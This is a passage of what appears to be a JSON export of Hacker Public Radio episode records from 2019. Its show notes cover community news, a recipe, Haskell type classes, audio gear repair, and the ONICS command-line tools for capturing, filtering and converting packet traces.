                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 11 comments on 4 of this month's shows:

                                                            \n
                                                            • hpr2851\n(2019-07-08) \"An introduction to the work of fire fighters\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2019-07-08:\n\"Cars parked over the put\"
                                                              • Comment 2:\nKevin O'Brien on 2019-07-08:\n\"I loved the show\"

                                                              \n
                                                            • hpr2852\n(2019-07-09) \"Gnu Awk - Part 16\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-07-09:\n\"thanks\"
                                                              • Comment 2:\nHipstre on 2019-07-09:\n\"Thank You!\"
                                                              • Comment 3:\nnorrist on 2019-07-09:\n\"HPR Epic\"
                                                              • Comment 4:\nDave Morriss on 2019-07-13:\n\"Many thanks for the kind words\"

                                                              \n
                                                            • hpr2854\n(2019-07-11) \"Telling myself something In The Morning\"\nby Jezra.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-07-11:\n\"Bagpipes for the win!\"
                                                              • Comment 2:\nDave Beck on 2019-07-18:\n\"Rusted Pipes\"
                                                              • Comment 3:\njezra on 2019-07-18:\n\"pipes up!\"

                                                              \n
                                                            • hpr2859\n(2019-07-18) \"HPR NYE Show 2018-2019 part 7\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2019-07-29:\n\"I disagree with just about all the opinions expressed in this episode.\"
                                                              • Comment 2:\ndodddummy on 2019-07-29:\n\"1st hour, that is.\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-July/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Ohio LinuxFest Conference CFP

                                                            \n

                                                            From Susan Rose, Social Media Manager for OLF:

                                                            \n
                                                            \n

                                                            Dear Open Source Fans, Students and Professionals:

                                                            \n

                                                            The 2019 Ohio LinuxFest is looking for presentations on Friday and Saturday, November 1 and 2. Please visit the CFP page https://ohiolinux.org/call-for-presentations/ for full details about submitting a proposal. The deadline is Friday, August 17, but the sooner you can submit a talk, the better.

                                                            \n

                                                            Started in 2003, the Ohio LinuxFest https://ohiolinux.org/ is an annual grassroots conference in Columbus, Ohio dedicated to open access for all. Presentations relating to any free and open source software, not just Linux, are welcome. Areas where we’ve had talks in the past include networking, system administration, development, and community building. A preliminary pdf brochure is attached.

                                                            \n

                                                            Our audience consists of people at all skill levels. Prior speaking experience is a plus, although we do try to provide opportunities for first-time speakers. If you have any questions, please contact us at speakers@ohiolinux.org. We look forward to hearing from you! Thank you for your kind attention and for sharing.

                                                            \n
                                                            \n

                                                            The PDF Brochure mentioned is available at https://hackerpublicradio.org/eps/hpr2871/hpr2871/olf2019.pdf.

                                                            \n

                                                            Problem with show 2855

                                                            \n

                                                            We upload all HPR shows to the Internet Archive (archive.org). Shows downloaded via the HPR RSS feeds actually come from there, though they are also available on the HPR site.

                                                            \n

                                                            Unfortunately, on Friday July 12th the archive.org copy of the show hpr2855 :: HPR NYE Show 2018-2019 part 6 was found to have been truncated and to consist only of the introduction and final part; no actual content.

                                                            \n

                                                            The problem was detected during the morning of Friday and was rectified during the afternoon (UK time). The RSS feeds were adjusted to ensure the show was re-downloaded and all podcatchers should have received the correct version the next time they checked the feed.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month: Dave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 11 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2872,"date":"2019-08-06","title":"Shoe Lace Tips","duration":472,"summary":"In this episode I give some shoe lace tips","notes":"

                                                            In this episode I give some shoe lace tips

                                                            \n\n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hacks, tips","version":0,"downloads":0,"valid":1}, {"id":2873,"date":"2019-08-07","title":"Death Angel - Card game","duration":1045,"summary":"Short description of Death Angel card game","notes":"

                                                            For more information, have a look at BoardGameGeek: https://boardgamegeek.com/boardgame/71721/space-hulk-death-angel-card-game

                                                            \n","hostid":364,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"cardgame","version":0,"downloads":0,"valid":1}, {"id":2874,"date":"2019-08-08","title":"Repair of G.E. Variable Speed Cassette Recorder","duration":1228,"summary":"I talk about repairing a 1997 handheld cassette recorder and demonstrate its use.","notes":"

                                                            I found a pretty cool little handheld cassette recorder at Salvation Army Thrift Store for 99 cents yesterday. It was non-functioning. I was able to get it working again by 1. cleaning corrosion from battery compartment; 2. replacing the nasty gooey belt; 3. repairing the battery compartment, which had a broken-off spring for one of the battery's negative connections. The most interesting feature of the device is that it has a variable-speed knob for playback at higher speed. I demonstrate this in the podcast.

                                                            \n\n

                                                            \"G.E.

                                                            \n\n

                                                            Links to Stuff Mentioned in the Episode

                                                            \n\n\n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Recording, Audio, Tape, Cassette, Recording Devices, Tape Speeds, Electronics, Repair","version":0,"downloads":0,"valid":1}, {"id":2875,"date":"2019-08-09","title":"cutting up the frames","duration":456,"summary":"you've got to crack some eggs to make an omelette","notes":"

                                                            Drawings

                                                            \n

                                                            https://sites.google.com/site/recycledrecumbents/ez-clone-drawings

                                                            \n

                                                            Pictures

                                                            \n

                                                            \"picture01-one-of-the-donors.jpg\"
                                                            \nOne of the donors

                                                            \n

                                                            \"picture02-dross.jpg\"
                                                            \nDross

                                                            \n

                                                            \"picture03-the-gold.jpg\"
                                                            \nThe gold

                                                            \n

                                                            \"picture04-first-cut.jpg\"
                                                            \nFirst cut

                                                            \n

                                                            \"picture05-cutting-tubes.jpg\"
                                                            \nCutting tubes

                                                            \n

                                                            \"picture06-workmate.jpg\"
                                                            \nWorkmate

                                                            \n

                                                            \"picture07-frame2-parts.jpg\"
                                                            \nFrame 2 parts

                                                            \n

                                                            \"picture08-frame1-parts.jpg\"
                                                            \nFrame 1 parts

                                                            \n","hostid":326,"series":115,"explicit":0,"license":"CC-BY-SA","tags":"bicycle, recumbent, recycle","version":0,"downloads":0,"valid":1}, {"id":2876,"date":"2019-08-12","title":"Sausage Orzotto","duration":2543,"summary":"A favorite recipe, dictated while it is cooked.","notes":"

                                                            This recipe has been heavily adapted from one I received from Hello Fresh - credit where credit's due!

                                                            \n

                                                            Ingredients:

                                                            \n
                                                              \n
                                                            • 1 lb (500g) Sausage (chicken or pork works)
                                                            • \n
                                                            • 1 ½ cups (192g) Orzo
                                                            • \n
                                                            • 2 tbsp (40g) Butter
                                                            • \n
                                                            • Olive oil
                                                            • \n
                                                            • Zucchini
                                                            • \n
                                                            • Shallot
                                                            • \n
                                                            • 1 - 2 tbsp (20-40g) Italian Seasoning
                                                            • \n
                                                            • Pepper
                                                            • \n
                                                            • 2 cups (475ml) water
                                                            • \n
                                                            • 1 tsp (4g) stock concentrate
                                                            • \n
                                                            • 16oz (450g?? One normal can, whatever that is) Crushed or diced tomatoes
                                                            • \n
                                                            • 1 cup (226g) Mozzarella cheese (shredded)
                                                            • \n
                                                            • Panko Breadcrumbs
                                                            • \n
                                                            • Salt (Optional)
                                                            • \n
                                                            \n
                                                              \n
                                                            1. Mince half the shallot (or all of it, I'm not the boss of you). Trim and shred the zucchini. Prepare a mixing bowl lined with a paper towel.
                                                            2. \n
                                                            3. Preheat oven to 500 F
                                                            4. \n
                                                            5. Drizzle some oil into a large oven-proof pan (if you've got one) and cook the sausage, with half the Italian seasoning, over medium heat, breaking it into bite-sized pieces as you cook it. Transfer to the mixing bowl for later.
                                                            6. \n
                                                            7. Add another drizzle of olive oil, and shred the zucchini into the pan. Add shallot, and cook until the zucchini shrinks to ⅔ of its size (about 5 minutes). Transfer to the mixing bowl with the sausage.
                                                            8. \n
                                                            9. Wipe out the pan with a paper towel. Melt 1 tbsp of butter over medium heat, and add orzo, stirring pretty frequently for 2-3 minutes.
                                                            10. \n
                                                            11. Stir in the rest of the Italian seasoning, along with the water, tomatoes, and stock concentrate. Bring to a boil and stir until orzo is done - around 12 - 14 minutes.
                                                            12. \n
                                                            13. Drain excess liquid from the zucchini and sausage.
                                                            14. \n
                                                            15. Mix sausage & zucchini into orzo mixture, with 1 tbsp of butter. Season with salt & pepper, if you want.
                                                            16. \n
                                                            17. If you don't have an oven-proof pan, you're going to want to transfer everything over to a large baking dish of some kind. 13x9" works for me.
                                                            18. \n
                                                            19. Cover the mixture in mozzarella cheese and panko breadcrumbs - in that order!
                                                            20. \n
                                                            21. Place dish in the oven for 2-3 minutes, until the breadcrumbs are toasted.
                                                            22. \n
                                                            \n

                                                            Note: If these metric measurements seem crazy, they probably are.

                                                            \n","hostid":196,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"food,cooking","version":0,"downloads":0,"valid":1}, {"id":2877,"date":"2019-08-13","title":"Using Zenity with Pdmenu","duration":1358,"summary":"Zenity is a rather cool program that will display GTK+ dialogs from a script","notes":"

                                                            Overview

                                                            \n

                                                            I use pdmenu a lot to help me do work on my main desktop PC. I did an HPR show on pdmenu on 13 December 2017 and the author Joey Hess responded in show 2459.

                                                            \n

                                                            In the intervening time I have also integrated Zenity into my menus. This is a GUI tool which generates a number of different pop-up windows known as dialogs, which can display information, or into which information can be typed. The capabilities provided by pdmenu are a little too basic to enable me to do what I need to do.

                                                            \n

                                                            I thought it might be of interest to show some examples of how I use this tool with pdmenu.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"zenity,Bash scripting,pdmenu,GTK+","version":0,"downloads":0,"valid":1}, {"id":2878,"date":"2019-08-14","title":"Type classes in Haskell","duration":1168,"summary":"Tuula explains what type classes are and how to use them","notes":"

                                                            Background

                                                            \n

                                                            Type classes are Haskell’s way of doing ad hoc polymorphics or overloading. They are used to defined set of functions that can operate more than one specific type of data.

                                                            \n

                                                            Equality

                                                            \n

                                                            In Haskell there’s no default equality, it has to be defined.

                                                            \n

                                                            There’s two parts to the puzzle. First is type class Eq that comes with the standard library and defines function signatures for equality and non-equality comparisons. There’s type parameter a in the definition, which is filled by user when they define instance of Eq for their data. In that instance definition, a is filled with concrete type.

                                                            \n
                                                            class  Eq a where\n  (==) :: a -> a -> Bool\n  (/=) :: a -> a -> Bool\n\n  x /= y = not (x == y)
                                                            \n

                                                            Definition above can be read as “class Eq a that has two functions with following signatures and implementations”. In other words, given two a, this function determines are they equal or not (thus Bool as return type). /= is defined in terms of ==, so it’s enough to define one and you get other one for free. But you can still define both if you’re so included (maybe some optimization case).

                                                            \n

                                                            If we define our own Size type, like below, we can compare sizes:

                                                            \n
                                                            data Size = Small | Medium | Large\n    deriving (Show, Read)\n\ninstance Eq Size where\n    Small == Small = True\n    Medium == Medium = True\n    Large == Large = True\n    _ == _ = False
                                                            \n

                                                            And here’s couple example comparisons.

                                                            \n
                                                            > Small == Small\nTrue\n> Large /= Large\nFalse
                                                            \n

                                                            Writing these by hand is both tedious and error prone, so we usually use automatic derivation for them. Note how the second line now reads deriving (Show, Read, Eq).

                                                            \n
                                                            data Size = Small | Medium | Large\n    deriving (Show, Read, Eq)
                                                            \n

                                                            Hierarchy between type classes

                                                            \n

                                                            There can be hierarchy between type classes, meaning one requires presence of another. Common example is Ord, which is used to order data.

                                                            \n
                                                            class Eq a => Ord a where\n    compare :: a -> a -> Ordering\n    (<) :: a -> a -> Bool\n    (>=) :: a -> a -> Bool\n    (>) :: a -> a -> Bool\n    (<=) :: a -> a -> Bool\n    max :: a -> a -> a\n    min :: a -> a -> a
                                                            \n

                                                            This definition can be read as “class Ord a, where a has instance of Eq, with pile of functions as follows”. Ord has default implementation for quite many of these, in terms of others, so it’s enough to implement either compare or <=.

                                                            \n

                                                            For our Size, instance of Ord could be defined as:

                                                            \n
                                                            instance Ord Size where\n    Small <= _ = True\n    Medium <= Small = False\n    Medium <= _ = True\n    Large <= Large = True\n    Large <= _ = False
                                                            \n

                                                            Writing generic code

                                                            \n

                                                            There’s lots and lots of type classes in standard library:

                                                            \n
                                                              \n
                                                            • Num for numeric operations
                                                            • \n
                                                            • Integral for integer numbers
                                                            • \n
                                                            • Floating for floating numbers
                                                            • \n
                                                            • Show for turning data into strings
                                                            • \n
                                                            • Read for turning strings to data
                                                            • \n
                                                            • Enum for sequentially ordered types (these can be enumerated)
                                                            • \n
                                                            • Bounded for things with upper and lower bound
                                                            • \n
                                                            • and so on…
                                                            • \n
                                                            \n

                                                            Type classes allow you to write really generic code. Following is contrived example using Ord and Show:

                                                            \n
                                                            check :: (Ord a, Show a) => a -> a -> String\ncheck a b =\n    case compare a b of\n        LT ->\n            show a ++ " is smaller than " ++ show b\n        GT ->\n            show a ++ " is greater than " ++ show b\n        EQ ->\n            show a ++ " and " ++ show b ++ " are equal"
                                                            \n

                                                            Check takes two parameters that are same type and that type has to have Ord and Show instances. Ord is for ordering and Show is for turning data into string (handy for displaying it). The end result is string telling result of comparison. Below is some examples of usage. Note how our function can handle different types of data: Size, Int and [Int].

                                                            \n
                                                            > check Medium Small\n"Medium is greater than Small"\n> check Small Large\n"Small is smaller than Large"\n> check 7 3\n"7 is greater than 3"\n> check [1, 2] [1, 1, 1]\n"[1, 2] is greater than [1, 1, 1]"
                                                            \n

                                                            There are many extensions to type classes that add more behaviour. These aren’t part of standard Haskell, but can be enabled with a pragma definition or compiler flag. They can be somewhat more complicated to use, have special cases that need careful consideration, but offer interesting options.

                                                            \n

                                                            In closing

                                                            \n

                                                            Thank you for listening. Question, comments and feedback welcome. Best way to catch me nowadays is either by email or in fediverse, where I’m Tuula@mastodon.social.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"type class","version":0,"downloads":0,"valid":1}, {"id":2879,"date":"2019-08-15","title":"Describing how I listen to podcasts PART 1","duration":1877,"summary":"This episode badly covers the console audio player moc.","notes":"

                                                            In this series I cover how I listen to podcasts and how the process has change over the years. This episode badly covers the console audio player moc.

                                                            \n\n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Audio, Podcasts, Linux, Ncurses","version":0,"downloads":0,"valid":1}, {"id":2880,"date":"2019-08-16","title":"Evaluating a Study","duration":861,"summary":"We've developed the standards to judge, so now let's do an example!","notes":"

                                                            We take the ideas we have developed over the previous episodes and use them to evaluate a a study I found online. These are things anyone can do with just a little work on Google, and the payoff is to have a good idea of whether or not you are looking at a quality study

                                                            \n

                                                            Links

                                                            \n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Medicine, Evidence, Science, Studies","version":0,"downloads":0,"valid":1}, {"id":2881,"date":"2019-08-19","title":"Automatically split album into tracks in Audacity","duration":250,"summary":"Inspired by a Jon Kulp show, Ken splits a large recording based on silence between tracks","notes":"

                                                            \nIn this show Ken, recalls hpr1771 :: Audacity: Label Tracks by Jon Kulp to add Labels to an large audio file.\n

                                                            \n\n
                                                              \n
                                                            • Tidy up the audio to the point where you are happy with it, but do not truncate silence.
                                                            • \n
                                                            • Find the first break in the audio and check how long it is. In my case it was 4 seconds.
                                                            • \n
                                                            • Select the entire track and select Analyze>Silence Finder
                                                            • \n
                                                            • Change Maximum duration of silence to just under the length of the break. In my case I set it to 3 seconds
                                                            • \n
                                                            • This will then create a series of labels on a new Label track
                                                            • \n
                                                            • Edit the names of each as desired.
                                                            • \n
                                                            • Select File > Export > Export Multiple
                                                            • \n
                                                            • Select Split Files based on Labels
                                                            • \n
                                                            • Name files using Label/Track Name
                                                            • \n
                                                            ","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Audacity, hpr1771, Detect Silence, Split Track, Label","version":0,"downloads":0,"valid":1}, {"id":2882,"date":"2019-08-20","title":"ONICS Part 1: Basic Commands","duration":1364,"summary":"In this episode I review some basic commands for manipulating packet captures","notes":"

                                                            Background

                                                            \n
                                                              \n
                                                            • It's been about 6 years since I talked about my project ONICS in HPR 1350
                                                            • \n
                                                            • ONICS stands for Open Network Inpection Command Suite
                                                            • \n
                                                            • I created ONICS as because I thought it would be neat to have a suite of tools that could manipulate packets on the command line in a way similar to how tools lik sed, awk, grep, cut, and so forth manipulate text.
                                                            • \n
                                                            \n

                                                            Installing

                                                            \n
                                                              \n
                                                            • Not currently maintained in any package distributions
                                                            • \n
                                                            • Maintainers who are interested in doing so are welcome
                                                            • \n
                                                            • Install by source
                                                            • \n
                                                            \n
                                                                $ git clone https://gitlab.com/catlib/catlib\n    $ cd catlib\n    $ make\n    $ cd ..\n    $ git clone https://gitlab.com/onics/onics\n    $ cd onics\n    $ ./configure\n    $ make\n    $ make test\n    $ sudo make install\n    $ make veryclean\n
                                                            \n
                                                              \n
                                                            • Can always uninstall cleanly from the source directory
                                                            • \n
                                                            \n
                                                                $ make uninstall\n
                                                            \n
                                                              \n
                                                            • Alternate to installation is to stop at 'make test' and then add to 'onics/bin' and 'onics/scripts' to your path.
                                                            • \n
                                                            \n

                                                            Documentation

                                                            \n
                                                              \n
                                                            • Manpages are available in onics/doc directory if you aren't installing locally. They are quite extensive.

                                                            • \n
                                                            • If installed locally, starting with:

                                                            • \n
                                                            \n
                                                                $ man onics\n
                                                            \n

                                                            XPKT Format

                                                            \n
                                                              \n
                                                            • PCAP format is outdated and not very extensible

                                                              \n
                                                                \n
                                                              • I want to be able to annotate with interface IDs, flow IDs, packet numbers, classification info, header offsets, etc...
                                                              • \n
                                                            • \n
                                                            • First and foremost, the file header prevents just cating files together.

                                                              \n
                                                                \n
                                                              • it makes merging live streams more difficult
                                                              • \n
                                                              • pcapng improves things but still has global file header
                                                              • \n
                                                            • \n
                                                            \n

                                                            First Programs

                                                            \n
                                                              \n
                                                            • Let's first capture in the traditional way
                                                            • \n
                                                            \n
                                                                $ sudo tcpdump -i eth0 -c 5 -w file1.pcap\n
                                                            \n
                                                              \n
                                                            • First program is to capture packets from the wire:
                                                            • \n
                                                            \n
                                                                $ sudo pktin eth0 > file2.xpkt\n
                                                            \n
                                                              \n
                                                            • If not running as root
                                                            • \n
                                                            \n
                                                                $ sudo chown myname file1.pcap file2.xpkt\n
                                                            \n
                                                              \n
                                                            • Let's dump them:
                                                            • \n
                                                            \n
                                                                $ tcpdump -r file1.pcap\n    $ xpktdump file2.xpkt\n
                                                            \n
                                                              \n
                                                            • Now lets convert the PCAP to XPKT
                                                            • \n
                                                            \n
                                                                $ pc2xpkt file1.pcap file1.xpkt\n      or\n    $ pc2xpkt file1.pcap > file1.xpkt\n      or\n    $ pc2xpkt < file1.pcap > file1.xpkt\n      or\n    $ cat file1.pcap | pc2xpkt > file1.xpkt\n
                                                            \n
                                                              \n
                                                            • Now we can dump file1 using xpktdump:
                                                            • \n
                                                            \n
                                                                $ xpktdump file1.xpkt\n
                                                            \n

                                                            Something we can't do w/ tcpdump

                                                            \n
                                                              \n
                                                            • Lets now merge them one after another
                                                            • \n
                                                            \n
                                                                $ cat file1.xpkt file2.xpkt > merged.xpkt\n    $ xpktdump merged.xpkt\n
                                                            \n
                                                              \n
                                                            • Of course there's a simpler way
                                                            • \n
                                                            \n
                                                                $ cat file1.xpkt file2.xpkt | xpktdump\n
                                                            \n

                                                            Convert back to pcap:

                                                            \n
                                                              \n
                                                            • Let's convert file2 to PCAP
                                                            • \n
                                                            \n
                                                                $ xpkt2pc file2.xpkt file2.pcap\n      or\n    $ xpkt2pc < file2.xpkt > file2.pcap\n      or\n    $ xpkt2pc file2.xpkt > file2.pcap\n      or\n    $ cat file2.xpkt | xpkt2pc > file2.pcap\n
                                                            \n
                                                              \n
                                                            • Let's look at the stream using tcpdump:
                                                            • \n
                                                            \n
                                                                $ tcpdump -r file2.pcap\n
                                                            \n
                                                              \n
                                                            • If we didn't want to actually store as a PCAP
                                                            • \n
                                                            \n
                                                                $ xpkt2pc file2.xpkt | tcpdump -r -\n
                                                            \n
                                                              \n
                                                            • Let's concatenate and dump using tcpdump
                                                            • \n
                                                            \n
                                                                $ cat file1.xpkt file2.xpkt | xpkt2pc | tcpdump -r | less\n
                                                            \n

                                                            Sending packets:

                                                            \n
                                                                $ sudo tcpdump -i eth0  # in one terminal\n    $ sudo pktout -i eth0 file1.xpkt\n      or\n    $ sudo pktout -i eth0 < file1.xpkt\n      or\n    $ cat file1.xpkt | sudo pktout -i eth0\n
                                                            \n

                                                            Summary

                                                            \n
                                                              \n
                                                            • XPKT is a versatile, extensible, self-contained packet trace format
                                                            • \n
                                                            • ONICS' most basic tools are pktin, pktout, pc2xpkt and xpkt2pc
                                                            • \n
                                                            • We've demonstrated how the ONICS design supports leveraging the power of the UNIX command line for packets
                                                            • \n
                                                            • This is only the VERY beginning. ONICS has over 20 binaries and 30 scripts for manipulating packets.
                                                            • \n
                                                            \n","hostid":259,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"networking, command-line, tools","version":0,"downloads":0,"valid":1}, {"id":2883,"date":"2019-08-21","title":"Pass the pigs","duration":318,"summary":"Tuula talks about their childhood game pass the pigs","notes":"

                                                            For more information, have a look at https://boardgamegeek.com/boardgame/2593/pass-pigs

                                                            \n","hostid":364,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"dice game","version":0,"downloads":0,"valid":1}, {"id":2884,"date":"2019-08-22","title":"TASCAM Porta 02 MiniStudio 4-Track Cassette Recorder Demonstration","duration":4636,"summary":"I demonstrate the use of a vintage home studio device","notes":"

                                                            I discuss and demonstrate the latest retro gadget I found at the flea market last weekend, a TASCAM Porta 02 MiniStudio 4-Track Cassette Recorder. It was in a bin full of junk—filthy, lacking its power supply, and I got it for only $5. I hacked a power supply, disassembled it completely, washed everything thoroughly, and put it back together. It worked perfectly with the exception of the pause button. This has been one of the most fun projects I can remember, especially because my daughter is into it too, and she's learning how to make multi-track recordings. I always wanted a 4-track when I was in high school but never had one. Now I do!

                                                            \n\n

                                                            \"TSACAM

                                                            \n\n

                                                            Links to info about stuff I mentioned

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Multi-Track Recording, Recording Devices, Home Recording Studios, Cassette Tapes, Vintage Recording ","version":0,"downloads":0,"valid":1}, {"id":2885,"date":"2019-08-23","title":"ONICS Part 2: Filtering and Extraction","duration":994,"summary":"In this episode I discuss commands to filter and/or extract packets from a packet trace file.","notes":"

                                                            In this episode we'll talk about filtering and dissecting packet traces and streams and introduce diffing. Remember that most tools have very flexible options for a variety of use cases. So check their manpages. Each man page also has multiple examples of how to use each tool.

                                                            \n

                                                            Counting Packets

                                                            \n
                                                              \n
                                                            • Lets start with grabbing a trace from the unit tests:
                                                            • \n
                                                            \n
                                                               $ mkdir /tmp/packets\n   $ cd /tmp/packets\n   $ cp /path/to/onics/tests/data/packets/sample.xpkt .\n
                                                            \n
                                                              \n
                                                            • Lets see what we have inside. First, lets see how many packets there are. We'll use a new tool 'pcount'.
                                                            • \n
                                                            \n
                                                               $ pcount sample.xpkt\n\n   90 total packets and 19082 total bytes.\n
                                                            \n
                                                              \n
                                                            • Good thing we looked first. Don't want to walk through all the packets.
                                                            • \n
                                                            \n

                                                            Scanning Packet Flows

                                                            \n
                                                              \n
                                                            • Well, lets look at the connections or "flows" in the trace. We'll do this by using the 'nftrk' command for "network flow tracker".

                                                            • \n
                                                            • Like 'pcount' this utility (and many or most ONICS utilities), this program can run on a live stream or a trace file. We'll run:

                                                            • \n
                                                            \n
                                                               $ nftrk -dt sample.xpkt | grep END\n
                                                            \n

                                                            and get:

                                                            \n
                                                               |FLOW END|IP:ca=192.168.0.43,sa=224.0.0.251,proto=2|Start=1565446184.543,\n   End=1565446184.544,Dur=0.001|SENT:1,60|\n   ...\n   |FLOW END|IP:ca=192.168.0.7,sa=192.168.0.255,proto=17,cpt=631,spt=631|\n   Start=1565446184.543,End=1565446184.544,Dur=0.001|SENT:3,660|\n
                                                            \n
                                                              \n
                                                            • 'nftrk' tracks flows giving events like the start and end of each flow or connection. We just want a summary of all the connections so we just grep for 'END' (all caps).

                                                            • \n
                                                            • We could just as easily have grepped for START, but this way we get the final number of packets sent and received on each connection. If we just want a count of the connections we can do:

                                                            • \n
                                                            \n
                                                               $ nftrk -dt sample.xpkt | grep START | wc -l\n
                                                            \n

                                                            and that tells us that there are 10 flows in the trace.

                                                            \n

                                                            Basic Filtering

                                                            \n
                                                              \n
                                                            • Ok, so 90 packets, in 10 flows totalling ~19000 bytes. Lets now see about filtering the connection so we just get the TCP packets.
                                                            • \n
                                                            \n
                                                               $ pflt tcp sample.xpkt tcponly.xpkt\n\n   $ pcount tcponly.xpkt\n   73 total packets and 17184 total bytes.\n\n   $ nftrk -dt tcponly.xpkt | grep END | wc -l\n   2\n
                                                            \n
                                                              \n
                                                            • We could have been super fancy and done:
                                                            • \n
                                                            \n
                                                               $ pflt tcp sample.xpkt |\n     pcount -p |\n     nftrk -t 2>/tmp/flows > tcponly.xpkt &&\n     echo -n "Number of flows " &&\n     grep END /tmp/flows | wc -l &&\n     rm -f /tmp/flows\n
                                                            \n
                                                              \n
                                                            • Ok, enough of that. Anyway, now we have a trace file with only the TCP connections. Running
                                                            • \n
                                                            \n
                                                               $ nftrk -dt /tmp/tcponly.xpkt | grep END\n   |FLOW END|IP:ca=192.168.0.4,sa=192.168.0.7,proto=6,cpt=38859,spt=22|\n   Start=1566073862.612,End=1566073862.613,Dur=0.000|C2S:25,4561|S2C:30,5124|\n   |FLOW END|IP:ca=192.168.0.4,sa=64.233.169.147,proto=6,cpt=35071,spt=80|\n   Start=1566073862.613,End=1566073862.613,Dur=0.000|C2S:9,704|S2C:9,6795|\n
                                                            \n

                                                            Shows that the server ports are 22 and 80 for the two connections. That's SSH and HTTP.

                                                            \n
                                                              \n
                                                            • The patterns we can use to filter packets are pretty standard across most of the ONICS tools.

                                                            • \n
                                                            • We'll discuss this is more detail in a future podcast. But if you want to see the kinds of fields you can match on go to

                                                            • \n
                                                            \n
                                                               $ man onics_proto\n
                                                            \n

                                                            Extracting Ranges of Packets

                                                            \n
                                                              \n
                                                            • What if we wanted to just grab specific packets out of the trace file? Say we wanted packets 3-6. For that we would run:
                                                            • \n
                                                            \n
                                                               $ pxtr 3,6 sample.xpkt pkts-3-to-6.xpkt\n
                                                            \n
                                                              \n
                                                            • Alternately we could ask for all packets from the 7th packet to the first TCP packet. We match using the same types of matching conditions as with pflt, but we must enclose them in {}s.
                                                            • \n
                                                            \n
                                                               $ pxtr "7,{tcp}" sample.xpkt | xpktdump\n
                                                            \n
                                                              \n
                                                            • Lets say we just wanted to drop packets 5-10 from the stream. There are several ways to do this in ONICS, but using pxtr, the way we would do it would be:
                                                            • \n
                                                            \n
                                                               $ pxtr 1,4 sample.xpkt > not-5-to-10.xpkt\n   $ pxtr 11,NONE sample.xpkt >> not-5-to-10.xpkt\n
                                                            \n
                                                              \n
                                                            • Maybe I should add another option to pxtr to invert the boundary conditions. It's a tradeoff between having the tools do one thing and one thing well and supporting a potentially common use case.
                                                            • \n
                                                            \n

                                                            Differences Between Traces

                                                            \n
                                                              \n
                                                            • Finally, lets look at one tool that I really like. Let's see the difference between the original stream and the one that we just created:
                                                            • \n
                                                            \n
                                                               $ pdiff sample.xpkt not-5-to-10.xpkt | less\n
                                                            \n
                                                              \n
                                                            • Sure enough that shows us that packets 5-10 were dropped from the stream. If we do the reverse
                                                            • \n
                                                            \n
                                                               $ pdiff -v not-5-to-10.xpkt sample.xpkt | less\n
                                                            \n

                                                            it describes the sample.xpkt from the perspective of starting with not-5-to-10.xpkt and inserting a bunch of packets into the middle.

                                                            \n

                                                            Conclusion

                                                            \n
                                                              \n
                                                            • In this podcast we looked at a few tools to help analyze and dissect packet traces or packet streams.
                                                            • \n
                                                            • Next time we'll look at some of the more powerful pattern matching we can apply and
                                                            • \n
                                                            \n","hostid":259,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"networking, command-line, tools","version":0,"downloads":0,"valid":1}, {"id":2886,"date":"2019-08-26","title":"INFOSECOND","duration":1136,"summary":"Thoughts around IT and Information Security","notes":"

                                                            \nIn todays show, operat0r shares his personal thoughts around information security and getting into the field. He also talks about ways to get support from your local community.\n

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"information security,careers","version":0,"downloads":0,"valid":1}, {"id":2887,"date":"2019-08-27","title":"Stardrifter RPG Playtest Part 01","duration":2202,"summary":"Lostnbronx and friends playtest a new, original RPG system.","notes":"

                                                            \nThis episode begins a limited series covering the first playtest of a new role-playing game, based upon my Stardrifter series of books and short stories. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.\n

                                                            \n

                                                            \nThis series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.\n

                                                            \n

                                                            \nIn this first episode, as well as the next, we we go over the rules of the game, and discuss them in some detail.\n

